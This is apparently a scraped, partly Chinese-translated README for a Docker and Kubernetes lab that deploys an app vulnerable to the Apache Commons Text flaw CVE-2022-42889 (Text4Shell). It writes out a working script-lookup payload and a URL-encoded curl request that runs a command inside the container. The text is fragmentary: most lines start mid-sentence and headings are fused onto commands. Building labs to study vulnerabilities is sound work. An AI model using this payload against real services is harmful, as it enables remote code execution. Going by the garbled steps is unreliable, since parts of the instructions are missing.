devenes/text4shell-cve-2022-42889Kubernetes Lab for CVE-2022-42889
你可以选择在本地构建Docker镜像，或从Docker Hub拉取镜像并运行容器。
git clone https://github.com/devenes/text4shell-cve-2022-42889.git
docker build --tag=text4shell .
docker run -d --rm -p 8080:8080 text4shell
docker pull devenes/text4shell:v1.0
docker run -d --rm -p 8080:8080 devenes/text4shell:v1.0
search参数传递字符串来测试应用：curl http://localhost/text4shell/attack?search=<anything>
${prefix:name}来执行，其中prefix是前述的lookup（即脚本、dns、url前缀）：${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
curl进行攻击：curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"
dns或url前缀docker container ls
docker exec -it <container_id> bash
/tmp目录下看到创建的文件foo：ls /tmp/
docker container stop <container_id>
kubernetes目录，并按照README.md文件中的说明操作。cd kubernetes
kind create cluster --config kind-config.yaml
kubectl apply -f deployment.yaml
kubectl apply -f service.yaml
curl攻击易受攻击的应用curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"
kubectl get pods获取Pod名称kubectl get pods
kubectl exec进入Podkubectl exec -it $(kubectl get pods | grep text4shell |awk '{print $1}') -- bash
ls /tmp/ | grep foo
